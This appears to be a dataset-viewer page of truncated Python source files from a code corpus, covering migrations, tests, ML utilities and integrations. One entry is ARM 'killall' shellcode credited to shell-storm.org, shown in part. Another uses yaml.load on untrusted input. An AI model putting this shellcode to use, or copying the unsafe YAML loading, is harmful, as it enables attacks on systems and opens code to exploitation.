text stringlengths 2 999k |
|---|
from pyflunt.notifications import Notifiable
class ValueObject(Notifiable):
pass
|
"""
You are given an array of integers representing the prices of a single stock on
various days (each index in the array represents a different day). You are also
given an integer k, which represents the number of transactions you are allowed
to make. One transactions of buying the stock on a given day and selling it ... |
# vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2010-2011 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.... |
from functools import partial
import logging
import os.path
import shutil
import subprocess
import sys
import tempfile
import unittest
import numpy as np
import pytest
import rasterio
from rasterio import windows
logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)
class WindowTest(unittest.TestCase):
d... |
from Tkinter import *
##SETTINGS##
X_SQUARES = 80
Y_SQUARES = 50
SQUARE_WIDTH = 12
SQUARE_HEIGHT = 12
WINDOW_WIDTH = SQUARE_WIDTH * X_SQUARES + SQUARE_WIDTH*2
WINDOW_HEIGHT = SQUARE_HEIGHT * Y_SQUARES + SQUARE_HEIGHT*2
SPEED = 150
CELL_ALIVE = "OliveDrab1"
CELL_DEAD = "snow3"
#############
class Cell:
def __init... |
"""Furniture Creator global utility functions."""
from __future__ import annotations
from typing import List, Dict
from furniturecreator.dataclasses import Part
def filter_parts_list_by_size(
parts: List[Part],
size: str) -> List[Part]:
"""Filter a list of parts by size."""
if size != 'S' an... |
from js9 import j
# from pprint import pprint as print
from .IndexFile import IndexFile
JSBASE = j.application.jsbase_get_class()
class IndexDB(JSBASE):
def __init__(self):
self.__jslocation__ = "j.data.indexfile"
self.basepath = "%s/indexfile/" % (j.dirs.VARDIR)
JSBASE.__init__(self)
... |
from copy import deepcopy as copy
import sys
from hqca.operators.quantum_strings import PauliString,FermiString
from hqca.operators.quantum_strings import QubitString,QuantumString
from hqca.core import OperatorError
import hqca.config as config
import multiprocessing as mp
from collections import OrderedDict
class Op... |
"""Tests for the specs endpoint."""
import json
from unittest import mock
import pytest
from library.facades import server, storage
from library.specs import versions
from open_alchemy import package_database
@pytest.mark.specs_versions
def test_list_(_clean_specs_table):
"""
GIVEN user, spec id and databas... |
import sys
from gym.envs.registration import register
import gym
from hrl.env.goal_env.bitflip import BitFlipEnv
from hrl.env.goal_env.fourroom import FourRoom, FourRoom2, FourRoom3, FourRoom4
from hrl.env.goal_env.mountaincar import MountainCarEnv
from hrl.env.goal_env.plane import NaivePlane, NaivePlane2, NaivePlane3... |
from logging import getLogger, DEBUG, StreamHandler, Formatter, FileHandler
from functools import partial
from os.path import realpath, abspath, dirname
from os import getcwd
from typing import Union, Callable, Type
def get_logger(obj: Union[str, type, Callable,] = None):
if isinstance(obj, str) or obj is None:
... |
import cv2
import numpy as np
import os
def yolo_cut(image):
net = cv2.dnn.readNet("hand-obj_final.weights", "hand-obj.cfg")
classes = []
with open("obj.names", "r") as f:
classes = [line.strip() for line in f.readlines()]
layer_names = net.getLayerNames()
outputlayers = [laye... |
import numpy as np
from moviepy.audio.AudioClip import CompositeAudioClip
from moviepy.tools import deprecated_version_of
from moviepy.video.compositing.CompositeVideoClip import CompositeVideoClip
from moviepy.video.compositing.on_color import on_color
from moviepy.video.VideoClip import ColorClip, VideoClip
try: ... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... |
#!/usr/bin/python
# GNU General Public License v3.0+ (see COPYING or
# https://www.gnu.org/licenses/gpl-3.0.txt)
#
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
DOCUMENTATION = '''
---
author:
- Naval Patel (@navalkp)
- Prashant Bhosale (@prabhosa)
module: lxca_nodes
shor... |
'''
Target Sum
Go to Discuss
You are given a list of non-negative integers, a1, a2, ..., an, and a target, S. Now you have 2 symbols + and -. For each integer, you should choose one from + and - as its new symbol.
Find out how many ways to assign symbols to make sum of integers equal to target S.
Example 1:
Input: ... |
# -*- coding: utf-8 -*-
# Copyright (c) 2019, Techlift and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe.model.document import Document
class ItemDeductionBeforeCommission(Document):
pass
|
import numpy as np
from holoviews.element import Raster, Image
from .testplot import TestMPLPlot, mpl_renderer
try:
from matplotlib.colors import ListedColormap
except:
pass
class TestRasterPlot(TestMPLPlot):
def test_raster_invert_axes(self):
arr = np.array([[0, 1, 2], [3, 4, 5]])
ra... |
import sys, yaml, json
y=yaml.load(sys.stdin.read())
print(json.dumps(y)) |
"""
2D rendering framework
"""
from __future__ import division
import os
import six
import sys
if "Apple" in sys.version:
if 'DYLD_FALLBACK_LIBRARY_PATH' in os.environ:
os.environ['DYLD_FALLBACK_LIBRARY_PATH'] += ':/usr/lib'
# (JDS 2016/04/15): avoid bug on Anaconda 2.3.0 / Yosemite
from gym impo... |
# Leviton Cloud Services API model ActionBlock.
# Auto-generated by api_scraper.py.
#
# Copyright 2017 Tim Lyakhovetskiy <tlyakhov@gmail.com>
#
# This code is released under the terms of the MIT license. See the LICENSE
# file for more details.
from ..base_model import BaseModel
class ActionBlock(BaseModel):
def ... |
from . import extra, utils
from .comments import Comment
from .search import Search
from .session import GuestSession, Session
from .series import Series
from .users import User
from .works import Work
VERSION = "2.0.3"
|
from sleekxmpp.plugins.base import register_plugin as _register_plugin
from sleekpromises.scheduler import sleekpromises_scheduler as _scheduler
def register_sleek_promises():
"""
Register the sleek promises components for the sleek xmpp framework.
:return:
"""
_register_plugin(_scheduler)
|
# Copyright 2019 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
import os
import torch
from tensorboardX import SummaryWriter
use_cuda = torch.cuda.is_available()
default_checkpoint = {
"epoch": 0,
"train_losses": [],
"train_symbol_accuracy": [],
"train_sentence_accuracy": [],
"train_wer": [],
"train_score": [],
"validation_losses": [],
"validation... |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""Tests for `cookiecutter_pydemo` package."""
import unittest
from click.testing import CliRunner
from cookiecutter_pydemo import cookiecutter_pydemo
from cookiecutter_pydemo import cli
class TestCookiecutter_pydemo(unittest.TestCase):
"""Tests for `cookiecutter_... |
# Copyright Contributors to the Amundsen project.
# SPDX-License-Identifier: Apache-2.0
import json
import unittest
from http import HTTPStatus
from mock import (
MagicMock, Mock, patch,
)
from search_service import create_app
from search_service.api.document import DocumentTablesAPI
from search_service.models.t... |
#http://shell-storm.org/shellcode/files/shellcode-667.php
#Author: Jonathan Salwan
#Date: 2010-06-29
#Tested: ARM926EJ-S rev 5 (v5l)
#Done
def killall():
#Without setreuid
shellcode = r"\x01\x30\x8f\xe2"
shellcode += r"\x13\xff\x2f\xe1"
shellcode += r"\x92\x1a\x10\x1c"
shellcode += r"\x01\x38\x09\x21"
shell... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11.16 on 2019-02-12 00:24
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('tags', '0007_dccdecision'),
]
operations = [
... |
# -*- coding: utf-8 -*-
import tempfile
import pytest
from rasa_nlu.converters import load_data
from rasa_nlu.extractors.mitie_entity_extractor import MitieEntityExtractor
def test_luis_data_spacy():
td = load_data('data/examples/luis/demo-restaurants.json', "en", "tokenizer_spacy")
assert td.entity_example... |
# DRUNKWATER TEMPLATE(add description and prototypes)
# Question Title and Description on leetcode.com
# Function Declaration and Function Prototypes on leetcode.com
#140. Word Break II
#Given a non-empty string s and a dictionary wordDict containing a list of non-empty words, add spaces in s to construct a sentence wh... |
import copy
import io
import json
import logging
import mimetypes
import uuid
from http.client import HTTPResponse
from typing import BinaryIO, Dict, List, Union
from urllib.error import HTTPError
from urllib.parse import urlencode
from urllib.request import Request, urlopen
from slack.web import get_user_agent, show_... |
# Copyright 2020 Canonical, Ltd.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing,... |
"""Support for the Philips Hue sensors as a platform."""
import asyncio
from datetime import timedelta
import logging
from time import monotonic
from aiohue import AiohueException, Unauthorized
from aiohue.sensors import TYPE_ZLL_PRESENCE
import async_timeout
from homeassistant.components import hue
from homeassistan... |
# Extraer bounding boxes
from pytesseract import Output
import pytesseract
import imutils
import argparse
import os
import glob
import random
import darknet
import time
import cv2
import numpy as np
import darknet
import matplotlib.pyplot as plt
def parser():
parser = argparse.ArgumentParser(description="YOLO Obje... |
import string
from itertools import chain
# MZ-R90/R91 Japanese firmware:
change_set_moves = {'katakana': {'katakana': 1, 'uppercase': 2, 'lowercase': 3, 'numbers': 4},
'uppercase': {'katakana': 4, 'uppercase': 1, 'lowercase': 2, 'numbers': 3},
'lowercase': {'katakana': 3, 'upp... |
x = 2
g = (x for x in range(10))
def f(l):
for i in range(l):
yield i ** 2
def ff(f):
yield from f
print("Noise")
|
# -*- coding: utf-8 -*-
#
# Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... |
def pay_debt_in_period_months(balance, annual_interest_rate, monthly_payment_rate, time_remain_months):
unpaid = balance - monthly_payment_rate * balance
interest = annual_interest_rate / 12 * unpaid
if time_remain_months == 1:
return unpaid + interest
else:
return pay_debt_in_period_mon... |
# qubit number=2
# total number=10
import cirq
import qiskit
from qiskit import IBMQ
from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister
from qiskit import BasicAer, execute, transpile
from pprint import pprint
from qiskit.test.mock import FakeVigo
from math import log2,floor, sqrt, pi
import numpy a... |
import unittest
import pandas as pd
import numpy as np
import context
from fastbt.datasource import DataSource
import talib
class TestDataSource(unittest.TestCase):
def setUp(self):
df = pd.read_csv('tests/data/sample.csv', parse_dates=['timestamp'])
self.ds = DataSource(data=df)
def... |
"""
Functions for explaining classifiers that use tabular data (matrices).
"""
import collections
import copy
from functools import partial
import json
import warnings
import numpy as np
import scipy as sp
import sklearn
import sklearn.preprocessing
from sklearn.utils import check_random_state
from lime.discretize im... |
# coding: utf-8
# -----------------------------------------------------------------------------------
# <copyright company="Aspose" file="copy_file_request.py">
# Copyright (c) 2021 Aspose.Words for Cloud
# </copyright>
# <summary>
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of... |
#####################################################################################
#
# Copyright (c) Microsoft Corporation. All rights reserved.
#
# This source code is subject to terms and conditions of the Apache License, Version 2.0. A
# copy of the license can be found in the License.html file at the root of th... |
# -*- coding: utf-8 -*-
# Copyright 2021 Cohesity Inc.
class PVCInfo_PVCSpec_Resources_RequestsEntry(object):
"""Implementation of the 'PVCInfo_PVCSpec_Resources_RequestsEntry' model.
Attributes:
key (string): TODO: Type description here.
value (string): TODO: Type description here.
"""... |
# Copyright 2017 OVH SAS
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, softw... |
# -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2019-04-04 17:11
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('auth_module', '0009_auto_20190404_2239'),
]
operations = [
migrations.AlterFi... |
from numpy import zeros, shape, dot
from numpy.linalg import norm
import matplotlib.pyplot as plt
from matplotlib.patches import Patch
from lib import parse_CHGCAR, parse_LOCPOT
def plot_2d_slice(ifile,pos,**args):
if 'dim' in args:
dim=args['dim']
else:
dim=2
if 'filetype' in arg... |
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version 2.0
# (the "License"); you may not use t... |
import hashlib
import hmac
import logging
from fbmessenger import MessengerClient
from fbmessenger.attachments import Image
from fbmessenger.elements import Text as FBText
from fbmessenger.quick_replies import QuickReplies, QuickReply
from sanic import Blueprint, response
from sanic.request import Request
from typing i... |
# Copyright Contributors to the Amundsen project.
# SPDX-License-Identifier: Apache-2.0
import logging
import os
import subprocess
from setuptools import setup, find_packages
BASE_DIR = os.path.abspath(os.path.dirname(__file__))
PACKAGE_DIR = os.path.join(BASE_DIR, 'amundsen_application', 'static')
def is_npm_inst... |
__author__ = 'kiverson'
|
#!/usr/bin/env python
from distutils.core import setup
setup(name='Distutils',
version='1.0',
description='Python Distribution Utilities',
author='Greg Ward',
author_email='gward@python.net',
url='https://www.python.org/sigs/distutils-sig/',
packages=['distutils', 'distutils.comman... |
# Copyright (c) 2019, NVIDIA CORPORATION. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions a... |
# Original code: https://github.com/pytorch/vision/blob/master/torchvision/models/resnet.py
import torch.nn as nn
import math
def conv3x3(in_planes, out_planes, stride=1):
"3x3 convolution with padding"
return nn.Conv2d(in_planes, out_planes, kernel_size=3, stride=stride,
padding=1, bias... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may ... |
import os
def get_local_script_folder_path() -> str:
return os.path.join(os.getcwd(), "resources\\scripts")
|
def print_line(numbers):
line = ""
for i in numbers:
line = line + str(i) + "\t"
print(line)
def grade_school_multiplication_table(n=3):
for i in range(1, n+1):
numbers = list(range(1*i, (n+1)*i,i))
#print(numbers)
print_line(numbers)
# range(start,end,increment... |
import math
import unicodedata as uda
from binascii import unhexlify, hexlify
from torba.rpc.jsonrpc import RPCError
from torba.server.hash import hash_to_hex_str
from torba.server.session import ElectrumX
from torba.server import util
from lbrynet.schema.uri import parse_lbry_uri, CLAIM_ID_MAX_LENGTH, URIParseError
... |
import sympy
import sympy.physics
from sympy import Matrix, sqrt
# Momenta and positions
momentum_symbols = kx, ky, kz = sympy.symbols("k_x k_y k_z", commutative=False)
position_symbols = sympy.symbols("x y z", commutative=False)
# Symbols
Ec, Ac, P, M, L = sympy.symbols("E_c A_c P M L", commutative=False)
N, Np, Nm... |
# coding=utf-8
from __future__ import absolute_import
import json
import logging
from django.conf import settings
logger = logging.getLogger('blueapps')
def blue_settings(request):
try:
if request.user.is_anonymous:
username = ''
nickname = ''
avatar_url = ''
... |
#!/usr/bin/env python3
"""
The generator
"""
import argparse
import simplejson as json
# =============================================================================
PINOUT = {
"basys3":
{
"BUFG":
"BUFGCTRL_X0Y0",
"clock":
"W5",
"led":
... |
# -*- coding: utf-8 -*-
"""Public section, including homepage and signup."""
from flask import (
Blueprint,
current_app,
flash,
redirect,
render_template,
request,
url_for,
)
from flask_login import login_required, login_user, logout_user, current_user
from flask_start.extensions import lo... |
from ._builtin import Page, WaitPage
from otree.api import Currency as c, currency_range
from .models import Constants, levenshtein, distance_and_ok
from django.conf import settings
class Transcribe(Page):
form_model = 'player'
form_fields = ['transcribed_text']
def vars_for_template(self):
... |
""""""
import importlib
class StructGenerator:
"""Struct生成器"""
def __init__(self, filename: str, prefix: str):
"""Constructor"""
self.filename = filename
self.prefix = prefix
self.typedefs = {}
self.load_constant()
def load_constant(self):
""""""
... |
import os
import mitogen
import mitogen.lxc
try:
any
except NameError:
from mitogen.core import any
import unittest2
import testlib
def has_subseq(seq, subseq):
return any(seq[x:x+len(subseq)] == subseq for x in range(0, len(seq)))
class ConstructorTest(testlib.RouterMixin, testlib.TestCase):
lx... |
'''
@author: Sebastian Lapuschkin
@author: Gregoire Montavon
@maintainer: Sebastian Lapuschkin
@contact: sebastian.lapuschkin@hhi.fraunhofer.de, wojciech.samek@hhi.fraunhofer.de
@date: 14.08.2015
@version: 1.2+
@copyright: Copyright (c) 2015-2017, Sebastian Lapuschkin, Alexander Binder, Gregoire Montavon, Klaus-Robert... |
#!/usr/bin/env python
'''
BLFProxy
========
BLFProxy is a simple "proxy" which connects to two or more
Asterisk servers using the Asterisk Manager Interface, listens
for ExtensionStatus events and updates the device states
between the servers using the DEVICE_STATE function.
'''
__verison__ = '0.1'
__license__ = ... |
import requests
from django.contrib.auth import get_user_model
from .conf import conf
from .links import ACCESS_TOKEN_URL, PROFILE_DATA_URL
User = get_user_model()
class GithubOAuthentication(object):
def authenticate(self, code):
payload = {'code': code, 'client_id': conf.CLIENT_ID, 'client_secret': ... |
import os
from data import mstrainsrdata
class Flickr2K(mstrainsrdata.MSSRData):
def __init__(self, args, name='Flickr2K', train=True, benchmark=False):
data_range = [r.split('-') for r in args.data_range.split('/')]
if train:
data_range = data_range[0]
else:
if args... |
from pandac.PandaModules import Point3, VBase3, Vec4, Vec3
objectStruct = {'Objects': {'1156371286.47dzzz0': {'Type': 'Building Interior','Name': '','Instanced': False,'Objects': {'1165344228.45kmuller': {'Type': 'Furniture','DisableCollision': False,'Hpr': VBase3(2.145, 0.0, 0.0),'Pos': Point3(-1.873, -5.288, -0.154),... |
import sys
sys.path.append(".")
import yaml, os, json
from triplet_reid.edflow_implementations.deepfashion.data import (
FromCSVWithEmbedding, FromCSVWithMultiEmbedding)
from tqdm import trange, tqdm
import numpy as np
import matplotlib.pyplot as plt
from triplet_reid.excluders.diagonal import Excluder as Dia... |
from django.utils import timezone
from marshmallow import ValidationError, fields, utils
from . import exceptions, schema
OMIT = object()
class Field(fields.Field):
"""Custom field only to be used when parsing `query_params`.
:param str param_name: Optional field that defines the name of the query parame... |
# Copyright 2021 The Matrix.org Foundation C.I.C.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... |
# OBJECTIVE
# Filter out clothing items (thredup.com) by removing items with Materials made of "polyester"
# or "Fabric details not available"
import requests, time, re, pprint, sys, webbrowser
from bs4 import BeautifulSoup
from selenium import webdriver
# from selenium.webdriver.common.by import By
url =... |
"""Benchmarks for `numpy.lib`."""
from .common import Benchmark
import numpy as np
class Pad(Benchmark):
"""Benchmarks for `numpy.pad`.
When benchmarking the pad function it is useful to cover scenarios where
the ratio between the size of the input array and the output array differs
significantly ... |
# Hayato Nakamura
# hn2357
# Copyright 2020 Hayato Nakamura
from __future__ import print_function #compatible with python 2.7
import sys, time
import numpy as np
from picamera import PiCamera
import aws
from collections import OrderedDict
from decimal import *
from datetime import datetime
#import threading
dynamodb =... |
# -*- coding: utf-8 -*-
from benedict.core import dump as _dump
from decimal import Decimal
from six import PY3
import datetime as dt
import unittest
class dump_test_case(unittest.TestCase):
@staticmethod
def _rstrip_lines(s):
return '\n'.join([line.rstrip() for line in s.splitlines()])
def te... |
from sqlalchemy import create_engine, Integer, String, Column
from sqlalchemy_utils import create_database, database_exists
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
# Настройки доступа к БД
DB_USER = "manti"
DB_PASSWORD = "manti"
DB_NAME = "manti"
DB_ECHO = True
... |
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not u... |
# -*- coding: utf-8 -*-
"""
deserializer services module.
"""
from pyrin.converters.deserializer import DeserializerPackage
from pyrin.application.services import get_component
def deserialize(value, **options):
"""
deserializes the given value.
returns deserialized object on success or returns
the ... |
#!/usr/bin/env python3
from argparse import ArgumentDefaultsHelpFormatter, ArgumentParser
import sys
import textwrap
def split_x_by_y(x, y):
''' Divide X as evenly as possible Y ways using only ints, and return those
ints. Consider x=5 and y=3. 5 cannot be divided into 3 pieces evenly using
ints. This fun... |
import os
path = os.path.join(os.getcwd(), "assets/minecraft/textures")
suffix = "_e"
for root, dirs, files in os.walk(path):
for filename in files:
filepath = os.path.join(root, filename)
name, extension = os.path.splitext(filename)
if extension == ".png":
newname = name + suf... |
from __future__ import print_function
import lldb
from lldbsuite.test.lldbtest import *
from lldbsuite.test.decorators import *
from lldbsuite.test.gdbclientutils import *
from lldbsuite.test.lldbgdbclient import GDBRemoteTestBase
class MyResponder(MockGDBServerResponder):
def qXferRead(self, obj, annex, offset, l... |
from pyglet.gl import *
import numpy as np
class SimulatedAnnealing:
def __init__(self, function, tStart=15.0, tEnd=2.0,localMovement=False, dxMovement=1, scale=2.0):
#xpos, ypos of current position
self.scale = scale
self.step = function.step
self.xmin = function.minx
self... |
# Generated by Django 2.1.15 on 2020-02-17 14:52
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0009_alter_user_last_name_max_length'),
]
operations = [
migrations.CreateModel(
name='User',
... |
import argparse, os, shutil, time, warnings, datetime
from pathlib import Path
import numpy as np
import torch
from torch.autograd import Variable
import torch.nn as nn
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.distributed as dist
import torch.optim
import torch.utils.data
import torch... |
"""[Lambda Expressions]
Lambda expressions are simply another way to create functions anonymous functions
keyword \ parameter list optional
\ \ the : is required, even for zero arguments
\ \ / / this expression is evaluated and returned when the lamb... |
#!/usr/bin/python
# test --create
command += (oiio_app("oiiotool")
+ " --create 320x240 3 -o black.tif >> out.txt ;\n")
command += oiio_app("oiiotool") + " --stats black.tif >> out.txt ;\n"
# test --pattern constant
command += (oiio_app("oiiotool")
+ " --pattern constant:color=.1,.2,.3,1 32... |
# This file is just Python, with a touch of Django which means
# you can inherit and tweak settings to your hearts content.
# For Docker, the following environment variables are supported:
# SENTRY_MYSQL_HOST
# SENTRY_MYSQL_PORT
# SENTRY_DB_NAME
# SENTRY_DB_USER
# SENTRY_DB_PASSWORD
# SENTRY_RABBITMQ_HOST
# SEN... |
import logging
from chessbot.ChessBot import ChessBot
from bot.Bot import SlackBot, Bot, threaded, allMessageEvents
from bot.config import SLACK_TOKEN
from bot.redis import redis
from slackclient import SlackClient
from crypto.CryptoTrader import CryptoTrader
from crypto.CryptoBot import CryptoBot
from arbitrage.Arbit... |
# coding: utf-8
"""
Isilon SDK
Isilon SDK - Language bindings for the OneFS API # noqa: E501
OpenAPI spec version: 10
Contact: sdk@isilon.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
from isi_sdk_9_0_0.models.ndmp_s... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#
# PyTorch documentation build configuration file, created by
# sphinx-quickstart on Fri Dec 23 13:31:47 2016.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# au... |
import numpy as np
from vispy import app, gloo, visuals
from vispy.geometry import create_sphere
from vispy.visuals.transforms import (STTransform, AffineTransform,
ChainTransform)
class Canvas(app.Canvas):
def __init__(self):
app.Canvas.__init__(self, keys='interacti... |
import cv2
from model.fcos import FCOSDetector
import torch
from torchvision import transforms
import numpy as np
from dataset.VOC_dataset import VOCDataset
import time
import matplotlib.patches as patches
import matplotlib.pyplot as plt
from matplotlib.ticker import NullLocator
def preprocess_img(image, ... |
# ! DO NOT MANUALLY INVOKE THIS setup.py, USE CATKIN INSTEAD
from distutils.core import setup
from catkin_pkg.python_setup import generate_distutils_setup
# fetch values from package.xml
setup_args = generate_distutils_setup(
packages=['ompl_planning_server', 'ompl_planning_server.robot',
'ompl_plan... |
__all__ = [
"__title__",
"__summary__",
"__uri__",
"__version__",
"__author__",
"__email__",
"__license__",
"__copyright__",
]
__title__ = "postscriptum"
__version__ = "0.3"
__summary__ = "An unified API to run code when Python exits"
__uri__ = "https://github.com/ksamuel/postscriptum/"... |
# -*- coding: utf-8 -*
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#... |
# Unless explicitly stated otherwise all files in this repository are licensed
# under the Apache License Version 2.0.
# This product includes software developed at Datadog (https://www.datadoghq.com/).
# Copyright 2018 Datadog, Inc.
import os
import sys
import types
from collector import CheckLoader, WheelLoader
fro... |
import mongoengine
class User(mongoengine.Document):
username: mongoengine.EmailField()
# password: mongoengine.ReferenceField |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.